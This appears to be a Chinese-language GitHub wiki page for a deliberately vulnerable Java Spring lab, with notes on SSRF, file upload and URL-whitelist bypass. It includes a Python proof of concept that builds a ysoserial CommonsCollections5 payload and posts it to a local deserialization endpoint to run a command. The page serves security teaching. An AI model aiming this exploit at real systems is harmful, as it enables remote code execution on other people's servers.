Skip to content
JoyChou edited this page Oct 19, 2018 · 1 revision

SSRF

针对SSRF具体利用,可以阅读我写的这篇博文

反序列化

打包ysoserial

git clone https://github.com/frohoff/ysoserial.git
mvn clean package -DskipTests

执行exp

#coding: utf-8
#author: JoyChou
#date:   2018.07.17

import requests
import subprocess

def poc(url , gadget, command):
	ys_filepath = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
	popen = subprocess.Popen(['java', '-jar', ys_filepath, gadget, command], stdout=subprocess.PIPE)
	payload = popen.stdout.read()
	r = requests.post(url, data=payload, timeout=5)

if __name__ == '__main__':
	poc('http://127.0.0.1:8080/deserialize/test', 'CommonsCollections5', 'open -a Calculator')

文件上传

目前这类漏洞在spring里非常少,原因有两点:

  1. 大多数公司上传的文件都会到cdn
  2. spring的jsp文件必须在web-inf目录下才能执行

除非,可以上传war包到tomcat的webapps目录。所以就不YY写漏洞了。

访问http://localhost:8080/file/进行文件上传,上传成功后,再访问http://localhost:8080/image/上传的文件名可访问上传后的文件。

URL白名单绕过

可查看我写的文章URL whitelist Bypass

其实很多实际场景,某些开发者并不会获取根域,而是利用URL类的u.getHost()方法获取整个域名,再拿去做白名单比较。这种情况的代码利用原理一样,大家可根据逻辑自行绕过。